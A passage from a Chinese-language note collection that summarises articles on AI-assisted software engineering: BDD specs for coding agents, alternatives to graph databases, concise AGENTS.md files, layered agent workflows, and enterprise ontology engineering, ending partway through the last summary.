如果你還在本地端用 Jupyter Notebook 跑 LangChain 腳本，是時候升級你的工作流了。嘗試將你的一個 Agent 封裝成 Docker Container，並寫一個簡單的 GitHub Actions 腳本將它部署到雲端容器服務 (如 Cloud Run)。這將是你邁向企業級 Agent 工程的第一步。
系統工程
SDD 規格驅動開發：BDD 是 AI 時代缺失的溝通語言
"以往工程師寫 Code，PM 寫規格；現在 AI 寫 Code，工程師必須學會寫「給 AI 看的規格」。傳統的幾百頁規格書太攏統，AI 會亂猜；寫到底層設計又失去用 AI 的意義。答案是 22 年前發明的 BDD (行為驅動開發)：用「假設...當...那麼...」寫出行為劇本。這個劇本 PM 看得懂，AI 也看得懂，而且 AI 還能直接把它轉成從單元測試到 E2E 的五層自動化測試。寫好規格，程式就寫完了。"
---
tags: [系統工程, 開發框架]
date: 2026-04-28
source: "20260512_2026-05-06T095802+0800-SDD Writing Specifications for AI BDD as the Missing Link — Spec-Driven Development.md"
---
# SDD 規格驅動開發：BDD 是 AI 時代缺失的溝通語言
原始來源與檔名：20260512_2026-05-06T095802+0800-SDD Writing Specifications for AI BDD as the Missing Link — Spec-Driven Development.md
來源：[[Jarosław Wasowski]] / Medium — 2026-04-28
原始檔名：`2026-05-06T095802+0800-SDD Writing Specifications for AI BDD as the Missing Link — Spec-Driven Development.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> AI Coding Era: Humans write intent, AI compiles it to code.
> Problem: SRS is too loose; LLD is too detailed. AI guesses and hallucinates.
> Solution: BDD (Given/When/Then). 1 Gherkin Scenario = Business Spec + Unit/Integration/E2E/UAT/Regression Tests.
> ROI: 30 mins of "Three Amigos" meeting replaces 80 hours of feature production.
_在 AI 寫程式的時代，工程師不再產出程式碼，而是產出「意圖 (Intent)」。然而傳統的技術文件 (SRS, HLD, LLD) 要不是對 AI 來說太過模糊，就是太過繁瑣以至於失去了 AI 的效率。本文提出 BDD (行為驅動開發) 的 Given/When/Then 語法正是填補這段空白的完美契約語言。透過一次 30 分鐘的 Three Amigos 會議寫出一個 Gherkin 劇本，AI 就能自動展開成 5 種層級的測試腳本與實作程式碼，將傳統需要 80 小時的功能開發流程徹底壓縮。_
### 一句話
> 以往工程師寫 Code，PM 寫規格；現在 AI 寫 Code，工程師必須學會寫「給 AI 看的規格」。傳統的幾百頁規格書太攏統，AI 會亂猜；寫到底層設計又失去用 AI 的意義。答案是 22 年前發明的 BDD (行為驅動開發)：用「假設...當...那麼...」寫出行為劇本。這個劇本 PM 看得懂，AI 也看得懂，而且 AI 還能直接把它轉成從單元測試到 E2E 的五層自動化測試。寫好規格，程式就寫完了。
### 餐巾紙草圖
```text
[ The Missing Layer in AI Specs ]
BRS / SRS (Too loose -> AI hallucinates rules)
↓
[ BDD / Gherkin ] <--- THE MISSING LINK (Behavioral, concrete, testable)
↓
HLD / LLD (Too detailed -> Why use AI?)
[ One BDD Scenario Fans Out To: ]
Given balance $100 -> Unit Test
When withdraw $20 -> Integration Test
Then balance $80 -> E2E / UAT / Regression Test
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **典範轉移**: 2023-2026 年，軟體工程的核心產出從「程式碼」變成了「規格說明 (Specification)」。程式碼只是規格的編譯結果。
- **傳統文件的失效**:
- BRS/SRS: 商業邏輯太鬆散，缺乏邊界條件，高階 AI 會自行「發揮創意」填補空白，導致結果不符預期。
- HLD/LLD: 過度關注技術細節，如果要人手寫 LLD，等於把 AI 該做的事都做完了。
- **BDD (Behavior-Driven Development) 的文藝復興**:
- 使用 Gherkin (Given/When/Then) 語法。
- **雙向閱讀性**: 業務端把它當故事讀，AI 把它當作可執行的測試合約。
- AI 解決了過去 BDD 最大的痛點：手寫維護「步驟定義 (Step Definitions)」的昂貴成本。
- **經濟學效應 (一魚五吃)**:
- 一個場景自動展開為 5 個測試層級：Unit, Integration, E2E, UAT, Regression。
- **Living Documentation**: 只要 CI/CD 通過，這份規格就永遠是最新的文件。
- **Three Amigos 儀式**:
- PM、開發者、測試員每週開會 30 分鐘，寫出具體的 `.feature` 檔。
- AI 基於該檔案 (與系統的 `CLAUDE.md` 架構指南) 產出程式碼與測試，成本僅需幾歐分。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 擅長處理具體數值，而非抽象概念**: 「系統應提供安全認證」這種句子對 AI 毫無意義。但「假設帳戶有 $100，當提款 $20，餘額變 $80」，AI 能精確捕捉這個邊界。BDD 強制人類給出具體的例子 (Specification by Example)。
2. **規格與驗證的融合**: 如果規格不能被自動執行，它就一定會過期。BDD 讓 `.feature` 檔直接成為測試代碼的源頭。一旦程式碼偏離規格，CI 流程就會報錯，達成 100% 準確的「活文件 (Living Documentation)」。
### 關鍵證據
- 引用了 Critical TechWorks (BMW Group) 的 AutoUAT 案例：使用者故事 -> Gherkin 劇本 -> Cypress 測試腳本。60% 的腳本零修改直接可用，每個腳本平均成本僅 0.12 歐元。
- 研究數據指出，使用 BDD 劇本作為 LLM 輸入，其首次通過率 (pass@1) 比使用非結構化自然語言高出 15.1%。
### 邊界條件
- **何時不需要 BDD**: 作者指出，對於小於 50 行的 Bug 修復或探索性的原型開發，使用 "Vibe Coding" (憑直覺與 AI 對話) 依然是合理的。BDD 適用於具備明確商業行為 (CRUD、決策流、表單) 的功能開發。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了《What Apple’s Leaked CLAUDE.md Teaches Us》與《ADLC 開發方式》。Apple 的 `CLAUDE.md` 負責防守底層架構規則，而 BDD 負責防守商業行為邏輯。兩者結合，構成了 Agentic AI 最堅固的「行為契約」。
- **深層洞見**: **"A specification stopped being an archival document and became an execution contract." (規格書不再是存檔用的文件，它變成了執行的契約。) ** 在軟體工程中，我們曾花費大量時間同步文件與程式碼；現在，文件本身就是編譯程式碼的「Prompt」。如果 Prompt (規格) 是模糊的，編譯出的結果必定充滿幻覺。
- **行動呼籲**:
在下一個 Sprint，挑選一個簡單的功能。不要寫傳統的 Ticket 或 User Story。找你的 PM 坐下來，花 10 分鐘寫下一個包含具體數值的 `Given/When/Then` 劇本。然後把這個劇本丟給 Claude Code 或 Cursor，看看它是否能一次性產出符合預期的業務邏輯與單元測試。
系統工程
別再迷信圖形資料庫了：建構知識圖譜的務實之道
"不要因為名字裡都有個 "Graph"，就以為你的 LLM 知識圖譜非得買 Neo4j 不可。圖形資料庫擅長的是「找路徑」（從 A 到 C 怎麼走），而不是「做推理」（如果 A 包含 B 且 B 包含 C，所以 A 包含 C）。企業真正需要的「知識」通常是業務規則與邏輯，而不是單純的點與線。與其逼著工程師去學難用的 Cypher 語法，不如把你公司現有的業務規則引擎（Rules Engine），寫成一個 MCP 伺服器，讓 LLM 直接去問它問題，這才是最快落地的方法。"
---
tags: [系統工程, 資料庫]
date: 2026-04-30
source: "20260512_2026-05-06T095702+0800-You Probably Don’t Need a Graph Database for Your Knowledge Graph.md"
---
# 別再迷信圖形資料庫了：建構知識圖譜的務實之道
原始來源與檔名：20260512_2026-05-06T095702+0800-You Probably Don’t Need a Graph Database for Your Knowledge Graph.md
來源：[[Michael Sakhatsky]] / Medium — 2026-04-30
原始檔名：`2026-05-06T095702+0800-You Probably Don’t Need a Graph Database for Your Knowledge Graph.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Hyped Myth: Enterprise LLM Grounding -> Needs Ontology -> Needs RDF -> MUST BUY Neo4j.
> Reality: GraphDB (Neo4j) = Good at Path Traversal, TERRIBLE at Logic Inference & Schemas.
> Pragmatic Solution = Existing Rule Engines (Drools/DMN) + Logic Programming (Datalog) + LLM via MCP.
_當企業想要為 LLM 建立「知識圖譜 (Knowledge Graph)」以減少幻覺時，業界的標準推銷話術通常是：你需要一個本體論 (Ontology)，因此你必須購買 Neo4j 這類圖形資料庫 (GraphDB)。本文作者強烈反對這個偽邏輯。GraphDB 擅長的是物理路徑的遍歷（如供應鏈、網路路由），但對於表示企業邏輯、規則推理與複雜語意卻極度孱弱。對於大多數企業而言，與其花大錢建構虛無縹緲的 RDF 圖譜，不如善用現有的規則引擎 (Rule Engines)，並利用 Datalog 等邏輯編程語言，透過 MCP (模型上下文協議) 直接讓 AI 查詢，這才是更快、更便宜且更務實的做法。_
### 一句話
> 不要因為名字裡都有個 "Graph"，就以為你的 LLM 知識圖譜非得買 Neo4j 不可。圖形資料庫擅長的是「找路徑」（從 A 到 C 怎麼走），而不是「做推理」（如果 A 包含 B 且 B 包含 C，所以 A 包含 C）。企業真正需要的「知識」通常是業務規則與邏輯，而不是單純的點與線。與其逼著工程師去學難用的 Cypher 語法，不如把你公司現有的業務規則引擎（Rules Engine），寫成一個 MCP 伺服器，讓 LLM 直接去問它問題，這才是最快落地的方法。
### 餐巾紙草圖
```text
[ The Knowledge Graph Illusion ]
What Vendors Sell:
[ Enterprise Knowledge ] -> Needs Ontology -> Must be RDF -> BUY GRAPH DB (Neo4j).
Where GraphDB Actually Shines:
- Routing, Supply Chain paths (Recursive Traversals).
Where GraphDB Fails:
- Logic inference, Rules (T-Boxes), Schema validation.
The Pragmatic AI Approach:
[ Existing Rule Engines (Drools) ] + [ Datalog/Prolog ] <--(via MCP)--> [ AI Agent ]
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **反駁主流敘事**: 破解「Grounding LLMs -> 需要 Ontology -> 等於 RDF -> 必須買 GraphDB」的滑坡謬誤。
- **GraphDB 真正的優勢是「遍歷」而非「語意」**:
- 關聯式資料庫 (RDBMS) 一樣能處理關聯。GraphDB (如 Neo4j) 的真正殺手鐧是處理未知深度的遞迴查詢（如供應鏈）。
- 圖形資料庫能證明關係的「存在」並執行「遍歷」，但它無法處理「語意邏輯」（例如：傳遞性、對稱性）。
- **圖形理論與本體論的脫節**:
- 用圖形來表示本體論 (Ontology) 並非唯一解。OWL 2 等標準在商業界極難落地，且 GraphDB 通常不支援原生的推理引擎，必須在資料庫外（如 ELK）另跑批次處理。
- **GraphDB 處理機構知識的致命傷**:
- **只能存事實，不能存規則**: 支援 A-Box (事實) 但不支援 T-Box (術語與規則)。
- **缺乏嚴格 Schema**: 沒有結構驗證機制。
- **謂詞限制為多元**: 圖形的邊只能連接兩個節點，處理更複雜的關係需透過超圖或具體化，導致模型混亂。
- **權限模型不完善**: 路徑遍歷時若遇到無權限節點，模型會崩潰。
- **務實的替代方案**:
- **現有規則引擎**: 大多數企業已有 Drools 等規則引擎，第一步應該是透過 MCP (Model Context Protocol) 將這些規則暴露給 LLM。
- **邏輯編程 (Logic Programming)**: Datalog 或 Prolog。Datalog 執行速度快，天生支援事實與謂詞，將推理工作交給知識庫，讓 Agent 的整合變得極其簡單。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **圖形分析與圖形查詢的錯位**: 文章指出，圖論（Graph Theory）關注的是全域結構（如中心性），這通常是 NetworkX 或 GNN (圖神經網路) 的工作。而 Neo4j 使用的 Cypher 或 SPARQL 語言只擅長局部遍歷，對全局分析很笨拙。
2. **推理能力 (Inference) 的缺失**: 這是 GraphDB 最大的軟肋。如果 LLM 需要理解「A 是 B 的子類，所以擁有 A 就擁有 B」這種邏輯，GraphDB 無法原生處理，必須依賴外部的推理機 (Reasoner)。既然都要外包邏輯運算，那為何不一開始就使用為邏輯推理而生的 Datalog？
### 關鍵證據
- 製藥產業的真實案例：像 SNOMED CT 這樣龐大的本體論，雖然底層用圖形資料庫儲存，但由於資料庫不支援 EL++ 推理，必須在外部使用 ELK reasoner 進行批次分類，這證明了 GraphDB 在本體論實作上的力不從心。
### 邊界條件
- **何時真的需要 GraphDB**: 如果你的企業知識本身就是一個龐大的物理網絡（如電信網路拓撲、物流運輸網路、或者複雜的社群交友網路），且需要頻繁查詢「最短路徑」或「共同好友」，那 GraphDB 依然是無可取代的選擇。但如果是用來儲存「公司請假政策」或「產品分類邏輯」，這就是殺雞用牛刀。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了《Building an AI Agent from Scratch》中提到的 MCP (Model Context Protocol) 概念。與其花費數百萬美元從零建構一個 Neo4j 知識圖譜，不如寫一個 10 行的 MCP Server，直接對接公司現有的 Rule Engine 讓 Agent 去問問題。這就是從「玩具架構」走向「生產力架構」的關鍵思維。
- **深層洞見**: **"All models are wrong, some are useful — and the graph model isn’t particularly useful for representing corporate knowledge." (所有模型都是錯的，但有些是有用的——而圖形模型在表示企業知識方面，並不是特別有用。)** 我們很容易被「視覺化」的點與線給騙了，覺得那樣就是知識。但真正的企業知識往往是一長串的「If-Then」條件判斷與約束，這是邏輯學的領域，不是幾何學的領域。
- **行動呼籲**:
如果你正在規劃公司的 GraphRAG 架構，請暫停手邊的 Neo4j PoC。盤點一下公司現存的決策系統或規則引擎，並評估是否能用 Datalog 搭配 SQLite 來取代笨重的圖形資料庫。選擇能讓你最快將業務邏輯餵給 Agent 的工具，而不是選擇最有話題性的工具。
系統工程
好的 AGENTS.md 等於免費換模型，寫錯了比沒文件更糟
"不要把給人類看的 內容塞進給 AI 看的 裡！實測證明，塞了幾萬字的架構說明和幾十條「禁止事項」只會讓 AI "上下文中毒"，什麼事都做不好。最頂級的 只有短短 150 行，裡面沒有廢話，全是「SOP 步驟清單」、「用哪個套件的決策表」，以及「3 行真實程式碼範例」。寫好這 150 行，你的 AI 寫 Code 能力會直接暴增 25%。"
---
tags: [系統工程, 開發框架]
date: 2026-05-09
source: "20260512_2026-05-12T093208+0800-好的 AGENTS.md 等于免费换模型，写错了比没文档更糟.md"
---
# 好的 AGENTS.md 等於免費換模型，寫錯了比沒文件更糟
原始來源與檔名：20260512_2026-05-12T093208+0800-好的 AGENTS.md 等于免费换模型，写错了比没文档更糟.md
來源：[[@freeman1266]] / X — 2026-05-09
原始檔名：`2026-05-12T093208+0800-好的 AGENTS.md 等于免费换模型，写错了比没文档更糟.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Good AGENTS.md = Claude Haiku performs like Opus. (+25% quality)
> Bad AGENTS.md = Over-exploration & Context Rot. (-30% quality)
> Rules: <150 Lines + Procedural Workflows + Decision Tables + Real Code Snippets (Paired Do/Don't).
_Augment Code 團隊針對數十份專案的 `AGENTS.md` (給 AI 讀的行為準則) 進行量化實測，發現一份寫得好的文件能將編碼品質提升 25%，等同於免費把輕量級模型升級成旗艦級模型；但寫錯了（過於冗長、充滿警告），反而會讓 AI 無所適從，產出比完全不寫還差。核心秘訣在於：將主文件控制在 150 行內（避免中間迷失）、將任務寫成編號工作流、使用決策表與真實程式碼片段，並且將「寫給人看的架構願景」與「寫給 AI 看的執行手冊」嚴格分開。_
### 一句話
> 不要把給人類看的 `README.md` 內容塞進給 AI 看的 `AGENTS.md` 裡！實測證明，塞了幾萬字的架構說明和幾十條「禁止事項」只會讓 AI "上下文中毒"，什麼事都做不好。最頂級的 `AGENTS.md` 只有短短 150 行，裡面沒有廢話，全是「SOP 步驟清單」、「用哪個套件的決策表」，以及「3 行真實程式碼範例」。寫好這 150 行，你的 AI 寫 Code 能力會直接暴增 25%。
### 餐巾紙草圖
```text
[ Anatomy of a Perfect AGENTS.md ]
Size: 100-150 lines (hits the Attention Sweet Spot)
Content:
1. Procedural Workflow: "Step 1, 2, 3..." (Removes ambiguity)
2. Decision Tables: "If API -> use REST; If UI -> use Zustand"
3. Paired Warnings:
❌ Don't use raw HTTP.
✅ Use lib/http shared client.
4. Real Snippets: 3-5 lines of actual repo code.
What NOT to include:
- Architectural philosophy (put in README)
- Future unmerged patterns (confuses the Agent)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **實驗震撼彈**: 優秀的 `AGENTS.md` 能讓代碼正確性提升 25%，劣質的則會讓完整性下降 30%。
- **7 個有效模式**:
1. **漸進式披露**: 主文件控制在 100~150 行，細節按需加載 (避免 Lost in the Middle)。
2. **程序性工作流**: 任務寫成編號步驟，消除 AI 猜測的歧義。
3. **決策表**: 提前決定技術選型 (React Query 還是 Zustand)，避免 AI 亂試。
4. **真實程式碼片段**: 用 3~10 行真實代碼代替偽代碼。
5. **Do & Don't 配對**: 只有警告會導致過度探索；每個「不要做」都要配上「該怎麼做」。
6. **模組化文件**: `AGENTS.md` 應放在特定子模組下，而非全域大雜燴。
7. **規則要具體**: 拒絕模糊的框架約定。
- **2 大失敗模式**:
1. **過度探索陷阱**: 太多架構概述或警告堆疊，導致上下文中毒 (Context Rot)。
2. **描述未來模式**: 寫了還沒落地的架構，引導 Agent 尋找不存在的程式碼。
- **人類與機器的分工**: `README.md` 寫給人看 (願景與心智模型)，`AGENTS.md` 寫給機器看 (規則與執行手冊)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **消除歧義 (Disambiguation)**: 好的 AGENTS 提升的不是模型的「智商」，而是幫助模型在巨大的代碼庫中「走對路」。程序性工作流、決策表、成對的 Do/Don't，本質都是在收斂解空間。
2. **上下文的詛咒 (Context Rot)**: 給模型越多資訊不等於結果越好。當你給了 50 條警告，Agent 為了驗證這些警告，會去翻閱無數不相關的文件，最終導致核心任務的失焦與「中間迷失」效應。
### 關鍵證據
- Augment Code 追蹤了 Agent 的文檔發現率：`AGENTS.md` 的觸及率是 100%，而放在 `_docs/` 裡孤立的 3 萬字安全規範，觸及率不到 10%。這證明了 `AGENTS.md` 是唯一具有可靠「發現性 (Discoverability)」的入口，不該被無用資訊塞滿。
### 邊界條件
- **維護成本極高**: 既然要求使用「真實程式碼」且「描述現狀」，這份文件必然是高頻變動的。一旦 API 修改而 AGENTS 沒更新，它就會從資產變成毒藥。作者建議將其納入 Code Review Checklist，或是盡量使用檔案路徑引用而非直接複製程式碼。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對照《What Apple’s Leaked CLAUDE.md Teaches Us》。蘋果的內部文件完美符合了這裡的鐵律：小於 200 行、沒有廢話、直接規定架構 (AsyncStream > Combine)、成對的禁令。
- **深層洞見**: **"AGENTS.md 描述現狀，不是願景。"** 人類看文件時，腦補未來架構是激勵人心的；但機器看文件時，腦補未來的架構是致命的幻覺。區分「寫給人看」與「寫給機器看」的文檔，是軟體工程學的一次重要分岔。
- **行動呼籲**:
打開你專案根目錄的 `AGENTS.md` 或 `.cursorrules`。
1. 如果超過 150 行，請將細節拆分到子資料夾中。
2. 刪除所有「未來我們將採用...」的句子。
3. 將所有「禁止使用 XXX」的單獨句子，補上「請使用 YYY 代替」。
做到這三點，你的 AI 將立刻變得更聰明。
系統工程
從 Skills 到分層 Workflow：AI Agent 系統的下一層抽象
"如果你只是把一堆 Skill 平鋪在資料夾裡讓 Agent 自己決定什麼時候調用，你的系統就會是一場充滿隨機性的即興表演。真正的軟體工程需要「狀態機」。Agent 不能一邊寫 Code 一邊偷偷修改需求；它必須經歷明確的 階段門控。我們需要將 Agent 的職責切開：不該由同一個角色負責寫需求、寫實作和自我審查。分層工作流是解決 Agent 「會做事但不靠譜」的終極解法。"
---
tags: [系統工程, 開發框架]
date: 2026-05-09
source: "20260512_2026-05-12T093211+0800-从 Skills 到分层 Workflow：AI Agent 工程化的下一层抽象.md"
---
# 從 Skills 到分層 Workflow：AI Agent 系統的下一層抽象
原始來源與檔名：20260512_2026-05-12T093211+0800-从 Skills 到分层 Workflow：AI Agent 工程化的下一层抽象.md
來源：[[@ZeroZ_JQ]] / X — 2026-05-09
原始檔名：`2026-05-12T093211+0800-从 Skills 到分层 Workflow：AI Agent 工程化的下一层抽象.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Skills Library = Local Optimization (Random execution).
> Layered Workflow = Global Engineering (State Machine).
> Hierarchy: CANON -> Command -> Agent -> Skill -> Artifact -> Hook.
_很多 AI Agent 專案到了中後期會遇到瓶頸：堆疊了幾十個 Skill (寫測試、Debug、寫文件)，但系統依然不穩定。作者指出，Skill 解決的是「怎麼做」的能力問題，但在真實工程中，我們更需要解決「什麼時候做、由誰決定、失敗退回哪裡」的流程控制問題。真正的 Agent 工程化不是技能庫，而是一套嚴格的分層工作流 (Layered Workflow)：從底層約束 (CANON) 到階段狀態機 (Command)，再到責任切分 (Agent) 與方法論 (Skill)，最終透過產物 (Artifact) 留下審計證據，並用 Hook 強制攔截錯誤。_
### 一句話
> 如果你只是把一堆 Skill 平鋪在資料夾裡讓 Agent 自己決定什麼時候調用，你的系統就會是一場充滿隨機性的即興表演。真正的軟體工程需要「狀態機」。Agent 不能一邊寫 Code 一邊偷偷修改需求；它必須經歷明確的 `/refine -> /design -> /plan -> /build -> /review -> /ship` 階段門控。我們需要將 Agent 的職責切開：不該由同一個角色負責寫需求、寫實作和自我審查。分層工作流是解決 Agent 「會做事但不靠譜」的終極解法。
### 餐巾紙草圖
```text
[ Layered Workflow Architecture ]
1. CANON : The global constitution (No Yes-man, test first)
2. COMMAND : State Machine Controller (Is /build allowed to start?)
3. AGENT : Role & Responsibility (Separation of execution and review)
4. SKILL : Methodology (How to do TDD)
5. ARTIFACT : Audit Trail (01-spec.md, 03-plan.md)
6. HOOK : Runtime Guardrails (Pre-commit Git hooks to enforce rules)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: Skills Library 的上限是工程失穩（時序失穩、責任失穩、證據失穩、治理失穩）。Agent 會跳過設計直接寫 Code，然後自己審查自己說沒問題。
- **解決方案一：橫向的階段流 (State Machine)**:
- 工作流不是自由聯想，是狀態機：`/refine -> /design -> /plan -> /build -> /review -> /ship`。
- `/build` 只能消費已批准的 spec，不能在實作時重新定義目標。
- `/review` 是門控 (Gatekeeper)，發現問題必須退回 `/build`。
- **解決方案二：縱向的分層 (6 Layers)**:
- **CANON**: 憲法，全域紀律（如：遇到矛盾先停止）。
- **Command**: 階段控制器（檢查是否具備進入下一階段的條件）。
- **Agent**: 責任視角，不是人格表演（區分執行者與審查者）。
- **Skill**: 具體的可複用方法論。
- **Artifact**: 過程的證據鏈，用於事後復盤與防漂移。
- **Hook / Validate**: 運行時的硬性護欄（攔截違規動作）。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **工程的本質是責任邊界，不是能力堆疊**: 同一個 Agent 自己設計、自己寫 Code、自己 Review，這叫 Self-confirming loop (自我確認迴圈)。人類工程團隊為什麼要分 PM、Dev、QA？因為不同的認知視角能打破盲點。Agent 也必須遵循這種責任分離。
2. **沒有 Artifact 就沒有證據**: 如果 Agent 在一次對話裡把所有事情做完了，幾天後你根本不知道當時的需求邊界是什麼。強制產出 `01-spec.md` 到 `05-ship.md` 不是文件潔癖，而是為了建立可追溯的審計軌跡 (Audit Trail)。
### 關鍵證據
- 舉了「兩階段 Review」的例子：第一關 (Spec Compliance) 檢查功能是否做全；第二關 (Code Quality) 檢查架構與效能。如果混在一起，Agent 會在功能殘缺時去糾結 Code Style。這種分層門控的設計，完美體現了 Workflow > Prompt 的價值。
### 邊界條件
- **開發成本**: 建立這套 6 層架構需要極高的初期成本，且會讓原本一兩句話就能搞定的簡單任務變得繁瑣。這套框架適用於需要長期維護的「複雜專案」，不適用於拋棄式的腳本開發。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文是對《The Agentic Development Lifecycle (ADLC)》以及《What Apple’s Leaked CLAUDE.md Teaches Us》的完美技術落地。它將 ADLC 中抽象的「驗收門檻」具象化為 Command 狀態機和 Artifact 證據鏈。
- **深層洞見**: **"Skill 是執行方法論，不是工作流總控。"** 我們常犯的錯是把流程控制邏輯寫在 Prompt 裡，期望 AI 自己做好調度。但 LLM 是一種機率模型，讓機率模型自己決定狀態機的流轉，注定會產生亂流。用確定性的程式碼來控制流程 (Command/Hook)，用機率性的模型來執行節點 (Skill)，這才是正確的 Agent 工程學。
- **行動呼籲**:
如果你正在構建自己的 AI 程式設計輔助系統，請立刻引入「雙視角」機制。不要讓同一個對話 Session 負責生成程式碼和審查程式碼。建立一個獨立的 Review Agent，它看不到前一個 Agent 的辛苦過程，只能對照 Spec 和產生的 PR 進行冷酷的打分。這會是你系統穩定性的一大躍進。
系統工程
本體論工程：AI 優先企業的語義作業系統
"如果你的 AI Agent 把「帳戶 (Account)」跟「客戶 (Customer)」搞混了，這在過去只是分析師的一句抱怨，但在未來就是一場秒級的系統性災難。為了解決這個問題，企業不能只靠資料庫 Schema 或資料字典，而是需要建立嚴格的「本體論 (Ontology)」——用 SHACL 驗證資料形狀，用 OWL 推理邏輯關係，並把這些規則當作 Agent 執行的安全閥。誰能在 2025 年率先建好這套語義作業系統，誰就能享受長達 3 到 5 年難以被競爭對手追上的「複利優勢」。"
---
tags: [系統工程, 商業策略]
date: 2026-04-20
source: "20260512_2026-05-06T095707+0800-Ontology Engineering as the Semantic Operating System of the AI-First Enterprise.md"
---
# 本體論工程：AI 優先企業的語義作業系統
原始來源與檔名：20260512_2026-05-06T095707+0800-Ontology Engineering as the Semantic Operating System of the AI-First Enterprise.md
來源：[[Gaurav Agarwaal]] / Medium — 2026-04-20
原始檔名：`2026-05-06T095707+0800-Ontology Engineering as the Semantic Operating System of the AI-First Enterprise.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agentic Era Risk: Semantic Ambiguity + Machine Speed Execution = Systemic Trust Failure.
> Solution: Semantic OS = Identity Resolution (owl:sameAs) + Runtime Validation (SHACL) + Inference (OWL).
> First-Mover Advantage: Semantic Depth compounds like technical debt, but positively. You can't shortcut 3 years of Identity & Conformance history.
_在 2024–2025 年的「Agentic AI 拐點」到來前，語義模糊（Semantic Ambiguity）頂多是導致報表出錯的「品質問題」，因為還有兩條腿的人類幫忙踩煞車。但在 Agent 時代，當 AI 開始以毫秒為單位執行退款、發送 Email 與變更設定時，語義模糊就變成了「信任架構的崩壞」。這篇神級長文為技術長 (CTO) 們指出了一條明路：不要再迷信單純的 Vector DB 與 RAG 了，你需要導入「本體論工程 (Ontology Engineering)」作為企業的語義作業系統 (Semantic OS)，並透過 SOEF 的七步框架，從領域驅動設計 (DDD) 走到 RAG 與 Agent 的生產環境部署。_
### 一句話
> 如果你的 AI Agent 把「帳戶 (Account)」跟「客戶 (Customer)」搞混了，這在過去只是分析師的一句抱怨，但在未來就是一場秒級的系統性災難。為了解決這個問題，企業不能只靠資料庫 Schema 或資料字典，而是需要建立嚴格的「本體論 (Ontology)」——用 SHACL 驗證資料形狀，用 OWL 推理邏輯關係，並把這些規則當作 Agent 執行的安全閥。誰能在 2025 年率先建好這套語義作業系統，誰就能享受長達 3 到 5 年難以被競爭對手追上的「複利優勢」。
### 餐巾紙草圖
```text
[ The Agentic Inflection Point ]
Pre-2024 (Human in loop):
Ambiguity -> Wrong Dashboard -> Human Analyst checks -> "Quality Problem"
Post-2025 (Machine in loop):
Ambiguity -> Wrong Agent Action (Refund/Email) -> Milliseconds -> "Trust Failure"
[ The Semantic Control Plane ]
[ AI Agents (Action) ]
│ (Requires validation)
[ Semantic OS (Ontology) ] <-- SHACL (Shape check), OWL (Inference)
│ (Unifies definitions)
[ Fragmented Data Estate ] <-- Data Warehouse, Lakes, APIs
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **為什麼是現在 (Agentic Inflection Point)**: Agent 從「檢索」轉向「行動」。如果企業內部的名詞定義（例如：停機是網路事件還是客服事件？）不統一，Agent 就會以機器速度犯下系統性的錯誤。
- **語義碎片化危機**: 這是企業繼算力與模型質量後的下一個瓶頸。過去企業累積了龐大的「語義債 (Semantic Debt)」，現在到了償還的時候。
- **本體論與 Schema 的差異**: Schema (如 SQL) 是定義結構；Ontology (本體論) 是定義「意義」與「身分等價」(Identity)。
- **本體論的三大核心工具**:
- **OWL**: 定義類別關係與等價（如 `owl:equivalentClass`），具備推理能力。
- **SHACL**: 執行時期的形狀驗證（Shape Constraints），是 Agent 動作前的安全檢查。
- **SPARQL**: 用於查詢語義圖譜的語言。
- **SOEF (Semantic Ontology Engineering Framework) 七步框架**:
1. 發現與決策盤點 (Discovery)
2. 領域驅動設計 (Bounded-Context Design)
3. 正式語義建模 (Formal Modeling - OWL/SHACL)
4. 身分協調 (Identity & Reconciliation - `owl:sameAs`)
5. 來源映射與實例化 (Source Mapping)
6. 運行時激發 (Runtime Activation - GraphRAG/Agent)
7. 語義維運 (OntOps & Observability)
- **複利優勢 (The Compounding Advantage)**: 身分解謎、SHACL 驗證歷史與 OWL 推理深度會隨時間產生巨大的複利效應，這也是為什麼先行者能獲得 3-5 年結構性優勢的原因。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Schema 不等於 Ontology**: 許多架構師誤以為有了 Data Catalog 或關聯式資料庫的 ERD 就等於有了本體論。但文章尖銳地指出：如果你的系統無法以「機器可執行」的方式（而非 SQL Join 或字典詞條）回答「客戶 X 是否等於帳戶 Y？」，那你就沒有 Ontology。這正是 Agent 在推理時會產生機率性錯誤 (幻覺) 的根本原因。
2. **語義債的真實成本**: 企業中 15-25% 的資料工程時間都浪費在解決語義不一致上。這筆債不像技術債可以靠一次 Sprint 重構解決，它必須從架構層面透過統一的 Semantic Control Plane 來根治。
### 關鍵證據
- **Loop 1: 身分協調的複利**: 當你在圖譜中加入第 10,000 個 `owl:sameAs` 連結時，它的價值遠高於第 1 個。因為它連接的是一個已經豐富無比的網絡，這種歷史數據積累是競爭對手無法在短時間內「花錢趕上」的。
### 邊界條件
- **何時不需要本體論**: 如果你的企業只有不到 50 個有爭議的業務術語，或者在未來 12 個月內沒有任何真正的 Agentic AI 上線計畫，那麼導入本體論工程可能會是過早的最佳化。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
